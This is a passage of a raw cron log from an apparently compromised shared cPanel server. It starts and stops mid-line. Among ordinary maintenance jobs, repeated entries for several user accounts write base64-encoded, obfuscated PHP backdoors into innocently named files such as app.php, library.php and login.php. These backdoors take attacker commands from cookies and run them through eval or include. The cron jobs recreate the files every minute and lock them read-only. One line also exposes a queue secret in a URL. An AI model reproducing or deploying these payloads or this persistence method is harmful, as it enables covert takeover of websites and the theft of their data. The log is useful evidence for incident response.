FjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:26:01 medusa CROND[597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:26:01 medusa CROND[591]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:26:01 medusa CROND[600]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:27:01 medusa CROND[20096]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Mar  2 03:27:01 medusa CROND[20097]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:27:01 medusa CROND[20098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:27:01 medusa CROND[20101]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:27:01 medusa CROND[20105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:27:01 medusa CROND[20109]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:27:01 medusa CROND[20111]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:27:01 medusa CROND[20112]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:27:01 medusa CROND[20113]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:27:01 medusa CROND[20115]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:27:01 medusa CROND[20110]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:27:01 medusa CROND[20117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:27:01 medusa CROND[20124]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:28:01 medusa CROND[6242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:28:01 medusa CROND[6243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:28:01 medusa CROND[6244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:28:01 medusa CROND[6245]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:28:01 medusa CROND[6241]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:28:01 medusa CROND[6246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:28:01 medusa CROND[6247]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:28:01 medusa CROND[6248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:28:01 medusa CROND[6249]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:28:01 medusa CROND[6250]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:28:01 medusa CROND[6251]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:28:01 medusa CROND[6254]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:28:01 medusa CROND[6255]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAm